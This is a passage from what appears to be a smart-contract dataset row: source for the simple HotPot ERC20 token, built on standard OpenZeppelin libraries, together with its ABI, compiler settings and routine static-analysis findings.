{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 508, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 161, "severity": 2}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 530, "severity": 3}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 35, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 342, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 423, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 455, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 528, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 566, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 633, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 856, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 65, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 67, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 69, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 71, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 72, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 471, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 596, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 597, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 599, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 651, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 664, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 676, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 693, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 705, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 24, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 83, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 478, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 535, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 556, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 601, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 865, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 556, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 556, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}] | v0.8.0+commit.c7dfd78e | false | 200 | Default | MIT | false | ipfs://bfad51b6ac115b315d90c63afa52cd4d40701565f5c28b591f54718907338c48 |
|||
HotPot | 0xefe9b392570863b04ffbe49c2c7531924954e27f | Solidity | // File: /root/hotpot/contracts/hotpot/HotPot.sol
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract HotPot is ERC20 {
constructor() public ERC20("HotPot Token", "HotPot") {
_mint(msg.sender, 1000000 * 10**18);
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
| [] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [132, 133, 134, 135]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [33]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [53, 54, 55, 56, 57, 58, 59]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [104, 105, 106]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [114, 115, 116, 117]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 119, 120, 121, 122, 123, 124, 125, 126, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [32, 33, 34, 35, 26, 27, 28, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [89, 90, 91]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Address.sol": [80, 81, 79]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [3]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [57]}}, {"check": "low-level-calls", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Address.sol": [123]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 443, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 464, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 347, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 5, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 21, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 50, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 214, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 526, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 608, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 249, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 251, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 253, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 255, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 256, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 257, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 246, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 631, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 658, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 658, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 658, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 659, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 662, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 662, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 662, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","nam